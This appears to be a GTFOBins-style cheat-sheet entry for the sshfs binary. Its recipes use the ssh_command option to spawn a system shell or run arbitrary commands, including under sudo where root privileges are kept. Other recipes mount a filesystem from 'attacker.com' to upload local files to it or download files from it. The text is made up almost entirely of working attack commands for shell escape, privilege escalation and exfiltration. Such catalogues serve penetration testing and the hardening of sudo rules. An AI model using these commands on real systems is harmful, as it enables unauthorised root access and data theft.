sshfs

Shell

This executable can spawn an interactive system shell.

CommentThe mount dir must be writable by the invoking user.
Unprivileged
This function can be performed by any unprivileged user.
```
echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
chmod +x /path/to/temp-file
sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo -e '/bin/sh </dev/tty >/dev/tty 2>/dev/tty' >/path/to/temp-file
chmod +x /path/to/temp-file
sshfs -o ssh_command=/path/to/temp-file x: /path/to/dir/
```

Command

This executable can run non-interactive system commands.

Unprivileged
This function can be performed by any unprivileged user.
```
sshfs -o ssh_command=/path/to/command x: /path/to/dir/
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
sshfs -o ssh_command=/path/to/command x: /path/to/dir/
```
OutputThe commands are executed but their output is hidden from the attacker.

Upload

This executable can upload local data.

Unprivileged
This function can be performed by any unprivileged user.
```
sshfs user@attacker.com:/ /path/to/dir/
cp /path/to/input-file /path/to/dir/
```
ReceiverAn SSH server can be used on the attacker box to receive the data.

Download

This executable can download remote data.

Unprivileged
This function can be performed by any unprivileged user.
```
sshfs user@attacker.com:/ /path/to/dir/
cp /path/to/dir/path/to/input-file /path/to/output-file
```
SenderAn SSH server can be used on the attacker box to send the data.